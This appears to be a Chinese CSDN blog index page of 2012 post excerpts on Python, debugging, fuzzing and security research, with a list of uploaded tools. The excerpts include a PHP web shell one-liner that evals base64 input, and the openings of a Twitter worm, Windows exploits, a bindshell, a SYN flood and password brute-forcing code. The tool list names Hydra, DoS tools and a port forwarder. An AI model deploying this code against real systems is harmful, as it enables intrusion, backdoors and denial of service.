自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

Yatere的天平秤

人生就好像一杆天平,虽明知没有绝对的平衡,但我们也在不断尝试,因为我们相信奇迹也许会发生。

  • 博客(49)
  • 资源 (22)
  • 收藏
  • 关注

原创 用于溢出漏洞研究的Socket服务端程序

配合该echo服务端程序,以及反调试工具(代码见我另外的帖子http://blog.csdn.net/yatere/article/details/7307266),可以研究下远程漏洞开发和shellcode的原理。可以用nc或者下面py脚本来测试这个echo服务器,使用调试工具监控服务器端异常。import socketmys=socket.socket()mys.con

2012-02-29 21:22:50 1184

原创 python 软件漏斗挖掘脚本

排版有问题,修改了以下。官网无法下载。把这个作为摸班了把from pydbg import *from pydbg.defines import *import utils# This is the maximum number of instructions we will log# after an access violation MAX_INSTRUCTI

2012-02-29 18:36:31 1603

原创 灰帽子里面的pydbg代码

这里除了代码,也放上几个自己写的有漏洞的exe程序方便大家调试,有漏洞的exe程序在:http://howfile.com/file/2611e8a1/8c414bff/程序功能只是每隔一秒标题数字加1,有了快照,那么数字可以还原到快照时刻代码如下,注意修改程序路径,这里的程序是压缩包的 “快照测试.exe”from pydbg import *from

2012-02-29 16:21:28 1254

原创 关于pydbg的一些代码

pydbg 可以做好多事情,这里我把自己常用的一些代码写上来;方便找到进程并加载findpid=Trueprint "Finding ...\n"while findpid: for i in dbg.enumerate_processes(): if i[1]=='stark.exe': dbg.attach(i[0])

2012-02-29 15:17:00 1477

原创 python 的 argparse模块

以前总是只用argv[1]之类的作为参数,这次看到一个题,基本上要用它了add_argument:读入命令行参数,该调用有多个参数ArgumentParser.add_argument(name or flags…[, action][, nargs][, const][, default][, type][, choices][, required][, help][,

2012-02-28 22:21:36 13893

转载 某一IT公司要求的python面试题

题目:使用python编写一个网站爬虫程序,支持参数如下:spider.py -u url -d deep -f logfile -l loglevel(1-5) --testself -thread number --dbfile filepath --key=”HTML5” 参数说明:-u 指定爬虫开始地址-d 指定爬虫深度--thread 指定线程池大小,多

2012-02-28 18:20:20 3316 2

原创 windbg paimei immdbg py2.7 win2003的虚拟机

有个家伙在群里面发了最新的py2.6安装方法,好复杂,网上10个相关帖子9个也都是如何如何复杂复杂的安装配置环境的,至少我一个没看见是讲如何在py2.7下的,而且也是不带guicon的。回想我当时几个小时就搞定了,不得不发帖一说,还准备上传vm镜像,请各位留意其实配置方法也很简单:直接去http://www.lfd.uci.edu/~gohlke/pythonlib

2012-02-27 22:04:57 1191

原创 socketserver 模块异步http服务器代码.

例子也好,在线文档也好,都没有说异步的http代码。其实现有函数早以实现。参考下面代码。import http.serverimport socketserverPORT = 80Handler = http.server.SimpleHTTPRequestHandlerhttpd = socketserver.ThreadingTCPServer(("", PORT), Handler)

2012-02-23 23:16:35 1021

原创 让你的python输出彩色字体 支持 py3

这个模块是:termcolor 1.1.0代码如下import sysfrom termcolor import colored, cprinttext = colored('Hello, World!', 'red', attrs=['reverse', 'blink'])print(text)cprint('Hello, World!', 'green', 'on

2012-02-22 10:28:01 3249

原创 PyQt4 简单使用说明 py3.2

1.PyQt4的下载安装这个过程比较简单,注意与自己安装的python版本一致,我下载的版本为PyQt-Py3.2-x86-gpl-4.8.6-1.exe下载页面:http://www.riverbankcomputing.co.uk/software/pyqt/download安装完成后,写个简单的测试程序import sysfrom PyQt4 impor

2012-02-19 03:44:45 1223

原创 一个用于踩点获取信息的python脚本

哎,总算是可以满足要求了。实例化对象之后,直接就可以获得对象的 ip whois信息  dns whois信息。主机头信息等等。#coding='utf8'import httplib2,socket,sys,reimport urllib.parse as upfrom pprint import pprint#for com,net后缀的域名#s.co

2012-02-15 17:44:19 1208

转载 Python tools for penetration testers

NetworkScapy: send, sniff and dissect and forge network packets. Usable interactively or as a librarypypcap, Pcapy and pylibpcap: several different Python bindings for libpcaplibdnet: low-level

2012-02-14 19:02:10 1008 1

原创 httplib2 支持使用例子(python3支持)

个人觉得非常不错,就是对cookie支持存在问题,对代理服务器支持上也有问题Simple Retrievalimport httplib2 h = httplib2.Http(".cache") resp, content = h.request("http://example.org/", "GET")The 'content' is the content

2012-02-13 17:49:33 4126

原创 早期的Twitte蠕虫

function XHConn(){ //创建XMLHttpRequest对象 var xmlhttp, bComplete = false; //由于 Internet Explorer 浏览器使用 MSXML 解析器处理 XML,而且MSXML 实际上有两种不同的版本,因此采用以下两种方式创建对象 try { xmlhttp = new ActiveXObject("Msxm

2012-02-13 14:38:44 804

原创 基于python的使用验证码识别技术(py3 可用)

以下技术配合python特有的web 相关处理能力可以再很多方面实施自动化功能了。from PIL import Imageimage_name=r'c:\no2.jpg' #现实中可以直接用urllib.request.urlopen()或者urllib.request.urlretrieve()函数等方式获得。#以下内容需要实际图片分析得出sx=20 #起始xsy=1

2012-02-11 02:40:54 2792 4

转载 PIL python的一个图像处理库 支持 python3

1   影像與圖形資料的處理上一回我們談過了圖形介面程式的撰寫,這一次我們要討論圖形 (影像) 本身的處理,而討論的內容將會集中在 Python Imaging Library (PIL) 這一套程式庫上。PIL 是 Python 下最有名的影像處理套件,由許多不同的模組所組成,並且提供了許多的處理功能,允許我們在簡單的 Python 程式裡進行影像的處理。使用像 PIL 許樣的程式庫套件

2012-02-10 23:46:26 2348 1

原创 一个python 3.2下的 高级 电子邮件库 pyzmail

pyzmail 模块是支持py3的非常好的一个邮件模块,支持邮件的解析创建和发送等炒作。比起默认的smtplib和mime等模块简单多了。下面是一个例子,因为这个模块对于发送邮件有点小问题,我这里仅仅是用它创建eml文件,还是用smtolib去发了。模块地址:http://www.magiksys.net/pyzmail/#coding='utf8'import pyzmail,smtplib

2012-02-09 22:06:07 4154

原创 python3 下的一个模糊化测试模块

Fusil is a Python library used to write fuzzing programs. It helps to start process with a prepared environment (limit memory, environment variables, redirect stdout, etc.), start network client or

2012-02-09 21:49:34 764

原创 python 执行javascript 模块 支持 python3

http://pypi.python.org/pypi/PyExecJS/1.0.2一个解析javascript的模块,虽然支持python3,但是支持的python3支持的引擎貌似有问题啊。v8是直支持py2.7哎,暂时空架而已PyExecJS 1.0.2Run JavaScript code from PythonDownload

2012-02-09 21:37:37 16173 1

原创 Http协议python优秀库 urllib3 (支持python3)

按照官方意思,这个模块最大的特点就是:支持403转向支持数据压缩支持客户端证书说是非常适合抓站。文档地址:http://urllib3.readthedocs.org/en/latest/index.htmlhttp://code.google.com/p/urllib3/ 先列出使用方法:# coding=u

2012-02-09 19:41:51 3362

原创 Python使用struct处理二进制

有的时候需要用python处理二进制数据,比如,存取文件,socket操作时.这时候,可以使用python的struct模块来完成.可以用 struct来处理c语言中的结构体.有的时候需要用python处理二进制数据,比如,存取文件,socket操作时.这时候,可以使用python的struct模块来完成.可以用 struct来处理c语言中的结构体. struct模

2012-02-08 15:26:34 1086

原创 beautifulsoup 4来了,支持python3.x

下载地址:本月3日才更新,第一时间放出!http://www.crummy.com/software/BeautifulSoup/bs4/download/4.0/记住:使用时候应该使用from bs4 import BeautifulSoup初始化:from bs4 import BeautifulSoup as bsres=ur.u

2012-02-08 01:51:16 2558

原创 zip map enumerate 这3个函数

一定要多用啊

2012-02-08 00:23:26 643

转载 用Python实现Spy++

Spy++是微软出品的用来获取Window窗口信息的一个小工具。实现的原理其实不难,通过调用某些特定的Windows API即可。于是,我打算用Python也实现一个功能简化版本的小工具,取名叫PySpy++。Python中调用Windows API一般使用pywin32这套库,界面库我使用PyQT4。Spy++原理Spy++中,最常用的一个功能,就是识别窗口。其中主要需要用到

2012-02-07 21:42:24 3234

原创 用python代替javascript编写基于浏览器的应用

如果能用python代替Javascript编写基于浏览器的应用,该有多好啊。但是,Javascript是唯一一种能在浏览器里执行的语言(Flash或Silverlight除外)。换个思路,先用Python编写代码,然后在通过编译器转为为Javascript脚本,这样确实是可行的。嗯,已经有人这么干了,就是这个:PyjamasPyjamas的介绍:Google 的 Web

2012-02-07 21:39:48 2370

转载 Python操作IHTMLDocument2用于自动化测试

有些软件的界面采用Win32窗口嵌套一个IE控件,用Spy++只能识别出一个Internet Explorer_Server控件。常用的几个API函数无法取到IE控件里面的内容,更无法对里面的控件进行操作,所以这给自动化带来了麻烦。本文将讲述如何使用Python获取IHTMLDocument2接口,用于自动化测试。获取IHTMLDocument2接口参考:http://suppor

2012-02-07 21:38:00 1170

转载 python调用有事件发生的com时,需要一些技巧。

我们以ie这个com为例来讲解一下我的经验。 首先我们需要pywin32这个模块的支持,它提供了我们调用com便利直接方法。你可以www.sf.net搜索并下载它。 先运行如下代码:import win32guiimport win32comimport win32com.clientimport pythoncomimport time cla

2012-02-07 21:34:56 2624

原创 python 常见破解代码简单演示(不断增加)

mysql:import MySQLdb as mysqlpwd='1234'try: mysql.connect("127.0.0.1","root",pwd) print("密码正确")except Exception as yk: print("密码错误") ftp:import ftplib as ftppwd=

2012-02-07 17:13:34 977

转载 Python生成随机数

import randomimport string#随机整数:print random.randint(1,50)#随机选取0到100间的偶数:print random.randrange(0, 101, 2)#随机浮点数:print random.random()print random.uniform(1, 10)#随机

2012-02-07 16:55:01 963

转载 PDF Viewer Component ActiveX DoS

Title : PDF Viewer Component ActiveX DoSAuther : Senator of PiratesE-Mail : Senator.of.Pirates.team@gmail.comFaceBook : FaceBook.Com/SenatorofPiratesSoftware link : http://www.ocxt.com/downloa

2012-02-07 14:09:19 831

原创 80sec里面的小马

session_start();$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');黑客果然是为了ev

2012-02-07 12:16:20 956

转载 MS11-046

/* * 触发MS11-046 * 来源:azy,http://hi.baidu.com/azy0922/blog/item/053065d197cebfca572c8492.html * 改编:KiDebug,Google@pku.edu.cn * 编译:VC6.0 * 测试环境:原版Windows XP SP3,Windows 2003 SP2,普通用户 */#include

2012-02-06 22:08:57 1119

转载 PHP Fuzzing行动——源码审计

作者:Shahin Ramezany译者:riusksk(泉哥:http://riusksk.blogbus.com)  目录:Section 1:20种PHP源码快速审计方式 Section 2:PHP源码审计自动化( PHP Fuzzer ) 风险级别:■ Low■ Medium■ High  在开始PHP代码分析之前,读者必

2012-02-06 20:27:44 4261

转载 python调用win32下的API__&&__Win32Com__[转]使用 python 写 COM

http://hi.baidu.com/netspider_2007http://hi.baidu.com/netspider_2007/blog/item/8b6ef35948d99a89810a1838.htmlhttp://hi.baidu.com/sinomazing/blog/item/611b85160d24f710972b43e1.htmlhttp://code.acti

2012-02-06 15:37:12 7235

转载 Microsoft Office 2003 Home/Pro 0day

#!/usr/bin/python## Note from the Exploit-DB team: This might be the same bug as:# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms10_087_rtf_pfragm

2012-02-06 15:24:11 1282

转载 python 取出当前时间详解 time

取得时间相关的信息的话,要用到python time模块,python time模块里面有很多非常好用的功能,你可以去官方文档了解下,要取的当前时间的话,要取得当前时间的时间戳,时间戳好像是1970年到现在时间相隔的时间。你可以试下下面的方式来取得当前时间的时间戳:import timeprint time.time()输出的结果是:1279578704.6725271

2012-02-06 13:02:36 813

原创 PIL库for 3.2说明

一定不能和版本2一样。要:python3 :from PIL import Imagepython2: import Image现在python3的功能越来越多了,可以用这个库做验证码识别了。

2012-02-05 23:50:19 610

转载 synflood.c 的一个例子

#include #include #include #include #pragma comment(lib,"ws2_32")#pragma comment(lib,"wsock32")#define FAKE_IP "201.79.131.18" #define SEQ 0x28376839#define right "===============Coder Paris

2012-02-05 16:52:35 779

转载 一个bindshell的代码

/* * Win32 RootKit - cmd.exe remote shell backdoor * (c) 2003 Christophe Devine * Distributed for educational purposes only! * * Before running ntbindshell.exe, rename it to * "rsmss.exe" and c

2012-02-05 16:48:06 1131

转载 演示还原NT平台上拨号连接的密码

-=-=-=-=-=-=-=-=-=-= x_dialupass.c -=-=-=-=-=-=-=-=-=-=/*演示还原NT平台上拨号连接的密码可运行于windows 2000/xp/2003原理基于分析dialupass v2.42eyas at xfocus.orghttp://www.xfocus.net2004-10-01FileName: x_dialupas

2012-02-05 16:45:33 889

Crypto.pptx

Crypto.pptx

2021-09-20

python flask教程,html格式

python flask web开发框架教程,html格式,寻迹渐进。

2018-11-01

lcx修改版,端口转发工具,内网端口转外网

内网打洞工具,原理同lcx,但是更强大,方便。

2015-04-28

wrodpress dos tools

利用 xmlrpc.php 的漏洞对,wordpress drupal 等采用xmlrpc 服务的拒绝服务工具。

2014-08-12

hydra 7.2 win32

H Y D R A (c) 2001-2012 by van Hauser / THC http://www.thc.org co-maintained by David (dot) Maciejak @ gmail (dot) com BFG code by Jan Dlabal Licensed under GPLv3 (see LICENSE file) INTRODUCTION ------------ Number one of the biggest security holes are passwords, as every password security study shows. This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system. THIS TOOL IS FOR LEGAL PURPOSES ONLY! There are already several login hacker tools available, however none does either support more than one protocol to attack or support parallized connects. It was tested to compile cleanly on Linux, Windows/Cygwin, Solaris, FreeBSD and OSX. Currently this tool supports: AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP. However the module engine for new services is very easy so it won't take a long time until even more services are supported. Your help in writing, enhancing or fixing modules is highly appreciated!! :-) HOW TO COMPILE -------------- For hydra, just type: ./configure make make install If you need ssh module support, you have to setup libssh on your system, get it from http://www.libssh.org, for ssh v1 support you also need to add "-DWITH_SSH1=On" option in the cmake command line. If you use Ubuntu, this will install supplementary libraries needed for a few optional modules: apt-get install

2012-04-09

用Python做科学计算

软件包的安装和介绍 安装软件包 函数库介绍 NumPy-快速处理数据 ndarray对象 ufunc运算 矩阵运算 文件存取 SciPy-数值计算库 最小二乘拟合 函数最小值 非线性方程组求解 B-Spline样条曲线 数值积分 解常微分方程组 滤波器设计 用Weave嵌入C语言 SymPy-符号运算好帮手 封面上的经典公式 球体体积 matplotlib-绘制精美的图表 快速绘图 绘制多轴图 配置文件 Artist对象 Traits-为Python添加类型定义 背景 Traits是什么 动态添加Trait属性 Property属性 Trait属性监听 TraitsUI-轻松制作用户界面 缺省界面 自定义界面 配置视图 Chaco-交互式图表 面向脚本绘图 面向应用绘图 TVTK-三维可视化数据 TVTK使用简介 TVTK的改进 Mayavi-更方便的可视化 用mlab快速绘图 Mayavi应用程序 将Mayavi嵌入到界面中 Visual-制作3D演示动画 场景、物体和照相机 简单动画 盒子中反弹的球 OpenCV-图像处理和计算机视觉 读写图像和视频文件

2012-04-04

pyloris-3.2-win32

Using HTTPLoris is simple. In its most basic form, HTTPLoris merely needs a copy of Python 2.6. On a Linux machine, one must simply invoke the script in a terminal, stating a site to test: motoma@rocksalt:/home/motoma$ python pyloris-3.0.py motomastyle.com On Mac OS X, one invokes PyLoris the same way. Using the Terminal Application: hotdog:/Users/Motoma/ motoma$ python pyloris-3.0.py motomastyle.com Using HTTPLoris in Windows is a little different. One will need to know the location of the Python installation, and be in the proper directory. Load up a command prompt: C:\Users\Motoma\Desktop\pyloris-3.0>C:\Python26\python.exe pyloris-3.0.py motomastyle.com Advanced Options Invoking HTTPLoris by using the commands above start a limited to 500 connections across 50 threads, each sending at 1 byte/second and waiting until the connection is forced shut by the server. While this behavior will bog down an Apache server with the default settings, it is not a very thorough test. The following are some additionall options that will allow one to customize the way HTTPLoris works: -a, --attacklimit The --attacklimit flag restricts the number of total connections (current + completed) during a single session. Set this to zero to specify no limit. -c, --connectionlimit Adjusting the --connectionlimit flag can drastically change how well HTTPLoris performs. The --connectionlimit flag directly controls the number of concurrent connections held during the session. In a base Apache environment, when this number is above the MaxClients setting, the server is unresponsive. -t, --threadlimit This is the number of attacker threads run during the session. -b, --connectionspeed This is the connection speed for each individual connection in bytes/second. Comparing this with the lenght of the request, and you should have an accurate guess of how long each connection should linger. -f, --finish Specifying the --finish flag will cause HTTPLoris to finish and close connections upon

2012-03-17

灰帽Python-黑客和逆向工程的Python编程(中文)

灰帽Python-黑客和逆向工程的Python编程(中文)

2012-02-25

类似IE的VC编写浏览器

利用已有的HTTP控制、HTML解释器和HTML执行器,通过MFC提供的CHtmlView类实现的一个Windows下的多功能的浏览器,其功能包括:WEB站点浏览、本地和网络的文件系统的浏览、历史记录的维护、IE收藏夹功能和设置桌面快捷方式功能等。

2012-01-28

Using_XSS_to_bypass_CSRF_protection

Hello, in this tutorial I will teach you how to use XSS to bypass CSRF protection. If you are familiar to XSS and CSRF terms you can skip the first two chapters, but I recommend you read them. Warning! This tutorial was written for educational purposes only ,and I take no responsibility for your acts.

2012-01-28

C语言难点及分析.

这篇文章主要是介绍一些在复习C语言的过程中笔者个人认为比较重点的地方,较好的掌握这些重点会使对C的运用更加得心应手。此外会包括一些细节、易错的地方。涉及的主要内容包括:变量的作用域和存储类别、函数、数组、字符串、指针、文件、链表等。一些最基本的概念在此就不多作解释了,仅希望能有只言片语给同是C语言初学者的学习和上机过程提供一点点的帮助。

2012-01-28

向其他进程注入代码的三种方法

向其他进程注入代码的三种方法 ●Windows 钩子(Hooks) ●CreateRemoteThread 和LoadLibrary 技术 ○进程间通讯 ●CreateRemoteThread 和 WriteProcessmemory 技术 ○如何使用该技术子类(SubClass)其他进程中的控件 ○什么情况下适合使用该技术

2012-01-28

windows+API+一日一练

熟悉常见windows的各类api操作,包括内存、磁盘等

2012-01-28

jQuery1.2 API 中文版

绝对最棒,文档条理性非常不错, 简明扼要。 包括核心函数,选择器 属性、筛选、文档处理 css 事件 效果 ajax等

2011-08-21

网站安全漏洞的产生分析、处理总结

一:网站程序存在的漏洞 1. 注入漏洞 2. 上传文件格式验证不完善 3. 参数可写入文件——构造一句话 4. mdb数据库改用ASP\ASA等名字作为数据库扩展名(添加防下载代码) 5. 后台显示数据库路径 6. 数据库可备份修改扩展 7. 文件管理部分传递参数过滤问题及外部提交 8. XSS漏洞骗取cookies得到后台权限 9. 任意文件下载漏洞 10. 远程包含漏洞 11. 使用未加密的cookies进行用户权限等级及权限验证 12. session被构造欺骗

2011-04-21

一个月挑战C++.rar

快速入门,经典教材,一个月内速成C++高手,短期。

2010-11-08

VC学习大纲 VC学习讲义

第一课: Windows程序运行原理及程序编写流程,窗口产生过程,句柄原理,消息队列,回调函数,窗口关闭与应用程序退出的工作关系,使用VC++的若干小技巧,stdcall与cdecl调用规范的比较,初学者常犯错误及注意事项。我们通常不必要知晓每一个函数和消息。但另一方面,也不得不记住其中的一部分,否则很难将VC++运用自如。到底该记住哪些,这在我们的课程中都会涉及到。 第二课: C++经典语法与应用,类的编写与应用,构造与析构函数,函数的重载,类的继承,函数覆盖,基类与派生类的构造函数、析构函数先后调用顺序,如何在派生类构造函数中向基类的构造函数传递参数,this成员变量,类型转换的内幕,虚拟函数与奇妙多态性。VC工程的编译原理与过程,将工程中不同的类拆分到不同的原文件中,每一个类由一个.h和.cpp文件共同完成,然后解决头文件重复定义问题,培养了学员良好的编程习惯,也为以后分析MFC Appwizard生成的工程奠定了良好基础。 第三课: 讲述MFC AppWizard的原理与MFC程序框架的剖析。AppWizard是一个原代码生成工具,是计算机辅助程序设计软件,Winmain在MFC程序中是如何从源程序中被隐藏的,theApp全局变量是如何被分配的,MFC框架中的几个类的作用与相互关系,MFC框架窗口是如何产生和销毁的,对窗口类的PreCreateWidow和OnCreate两个函数的着重分析,Windows窗口与C++中的CWnd类的关系。 第四课: 讲述如何运用ClassWizard及对MFC消息响应函数机制的分析,理解发送给窗口的消息是如何被MFC框架通过窗口句柄映射表和消息映射表来用窗口类的函数进行响应的。掌握设备描述表及其封装类CDC的使用,CDC是如何与具体的设备发生关联的,融合具体的画图程序进行分析。如何设置封闭图形的填充刷子(位图画刷与透明画刷的使用)。 第五课: 掌握CDC的文字处理程序的编写,如何产生自定义字体和自定义插入符,熟悉对CString类的使用。通过对kala ok程序的编写,讲解定时器的使用和DrawText函数的巧妙运用。讲解如何使用CDC的裁减功能。 第六课: 菜单的工作原理及编写应用,菜单命令消息在MFC框架程序的几个类中的传递顺序和处理过程。标记菜单的实现原理、图形菜单的实现及常犯错误的分析,GetSystemMetrics的应用,快捷弹出菜单的实现方式及其命令响应函数有效范围(与弹出菜单时所指定的父窗口有密切的关系,最底层的子窗口具有最优先的处理机会)。 第七课.: 动态菜单的编写,如何让程序在运行时产生新的菜单项及如何手工为这些新产生的菜单命令安排处理函数,如何在顶层窗口中截获对菜单命令的处理,更进一步掌握CString类的应用。 第八课.: 对话框用户界面程序的编写,如何向对话框控件联接数据成员及其实现机理,如何向对话框控关联控件类,如何利用对话框类的成员函数向控件发送消息和获取对话框控件的类指针,如何直接利用对话框控件类操纵对话框控件(发送消息和直接调用成员函数)。如何在程序运行时产生和销毁控件。对话框控件的几种操作方式的优劣比较分析。 第九课: 如何让对话框上的文本框在程序启动后立即获得焦点,如何利用SetWindowLong改变窗口的回调函数,通过改变文本框的默认回车处理方式进行演示。实现多个输入文本框间通过回车逐一向下传递焦点的另一种巧妙方法(用缺省按钮来处理)。利用SetWindowLong和定时器轮回改变窗口的图标。如何实现对话框的部分收缩和展开。如何在主对话框程序启动时立即隐藏对话框的巧妙实现方式与精妙思想(不能直接在OnInitDialog处理。包括自定义消息的实现) 第十课: 如何制作属性页对话框和向导对话框,融合讲解组合框(如何调整组合框的大小)、列表框、单选按钮、复选按钮 等常用对话框控件的多种使用方法。如何限制用户在不满足设定的条件时切换到其他属性页和向导页。 第十一课: 如何修改MFC AppWizard向导生成的框架程序的外观,包括修改标题栏的多种方式及原理,修改图标、光标、背景的两种方法。如何给应用程序增加工具栏和删除工具栏按钮。定制状态栏,在CView中获取状态栏对象的几种方式,在状态栏中添加时钟显示(掌握CTime类和静态成员变量和函数的用法),鼠标坐标显示,进度条(主窗口产生后立即产生进度条的巧妙思想,不能在OnCreate函数中直接处理,要用到自定义消息的方法)。如何为窗口添加背景位图。 第十二课: 如何使用自定义画笔(颜色,线宽,线形),画刷(形状,颜色)。如何为程序中添加选项菜单和选项设置对话框,如何使用标准颜色对话框,窗口重绘原理,在选项对话框中实现预览功能。实现选项对话框和窗口类中的数据交换。 第十三课: 如何让CDC上输出的文字、图形具有保持功能,元文件设备描述表的使用,CpaintDC与CClientDC的区别与应用,OnPaint与Ondraw在CView中的关系及实现内幕,集合类CObArray的使用,滚动窗口的实现,设备坐标与逻辑坐标的转换。 第十四课: 文件读写,CFileDialog,CFile,fstream,CArchive类的使用与比较。在应用中讲解const char *与char * const的区别,字符串的使用原理,如何使用CString的内存缓冲区。注册表与win.ini文件的读写方式及相关知识点。 第十五课: 如何利用CDocument类的串行化存储功能及MFC框架程序提供的文件打开与保存功能的实现原理。如何实现类对串行化的支持,CObArray的串行化实现内幕。MFC框架程序的几个主要类之间如何获得相互的指针引用。 第十六课: 网络程序的编写,Socket是连接应用程序与网络驱动程序的桥梁,Socket在应用程序中创建,通过bind与驱动程序建立关系。此后,应用程序送给Socket的数据,由Socket交给驱动程序向网络上发送出去。计算机从网络上收到与该Socket绑定的IP+Port相关的数据后,由驱动程序交给Socket,应用程序便可从该Socket中提取接收到的数据。网络应用程序就是这样通过socket进行数据的发送与接收的。UDP与TCP的工作原理与编写过程,包含如何在程序中连接库文件,telnet工具软件在编写网络程序中的用途 第十七课: 多线程程序的编写,如何通过互斥来保证多线程的安全。如何利用命名互斥保证只有一份程序实例被运行,结合多线程,网络编程,自定义消息,数据类型转换,如何改变文本框对回车的默认处理方式等技术编写网络聊天程序。 第十八课: 动态连接库程序的编写,库函数的两种输出方式。调用程序对动态连接库的静态连接与动态连接方式,如何利用工具查看动态连接库里的函数,C/C++连接规范中的命名转变问题分析,如何获得动态连接库里的函数 的指针,如何用typedef声明指向函数的指针类型。如何调试动态连接库。 第十九课: ActiveX控件的应用与工作原理,ActiveX控件的编写,如何为控件安排属性,方法,事件,属性页,持久性存储。如何注册控件与取消控件注册。如何测试与调试控件。 第二十课: 综合答疑与一些高深主题的介绍,包括如何安装系统钩子函数,dll连接库里的全局变量数据共享问题分析,ADO数据库编程,如何将数据库记录显示在Clistview网格中。 以上内容为作者对课件的初步整理,还有很多课堂上要讲到,但在本大纲中还没有被撰稿的内容,以后将逐渐完善本大大纲。

2009-06-09

The Analysis Of Basic MFC Program Running Principle

分析MFC流程,框架,WIN32 api 之间关系的文章,对于MFC初学者强烈推荐!! 有PDF和doc2种格式

2008-12-29

Visual C++ MFC 简明教程

Visual C++ MFC 简明教程 ,共享出来,也许对于某些人有用!

2008-12-29

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除